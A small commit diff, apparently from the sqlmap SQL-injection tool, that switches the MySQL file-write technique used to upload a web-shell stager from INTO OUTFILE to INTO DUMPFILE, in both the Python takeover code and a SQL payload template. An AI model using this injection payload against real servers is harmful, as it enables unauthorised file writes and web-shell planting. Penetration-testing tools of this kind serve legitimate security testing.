replaced outfile with dumpfile so works even if the original statement outputs blob

bdamele · bdamele · commit c21125577311 · 2014-03-21T11:01:57.000Z
diff --git a/lib/takeover/web.py b/lib/takeover/web.py
@@ -139,7 +139,7 @@ def _webFileInject(self, fileContent, fileName, directory):
                 randInt = randomInt()
                 query += "OR %d=%d " % (randInt, randInt)
 
-        query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery))
+        query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", DUMPFILE=outFile, HEXSTRING=hexencode(uplQuery))
         query = agent.prefixQuery(query)
         query = agent.suffixQuery(query)
         payload = agent.payload(newValue=query)
@@ -217,9 +217,9 @@ def webInit(self):
             else:
                 directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory
 
-            # Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique
+            # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE technique
             infoMsg = "trying to upload the file stager on '%s' " % directory
-            infoMsg += "via LIMIT INTO OUTFILE technique"
+            infoMsg += "via LIMIT INTO DUMPFILE technique"
             logger.info(infoMsg)
             self._webFileInject(stagerContent, stagerName, directory)
 
diff --git a/procs/mysql/write_file_limit.sql b/procs/mysql/write_file_limit.sql
@@ -1 +1 @@
-LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- 
+LIMIT 0,1 INTO DUMPFILE '%DUMPFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- 

Original file line number	Diff line number	Diff line change
`@@ -1 +1 @@`
`1`		`-LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%--`
	`1`	`+LIMIT 0,1 INTO DUMPFILE '%DUMPFILE%' LINES TERMINATED BY 0x%HEXSTRING%--`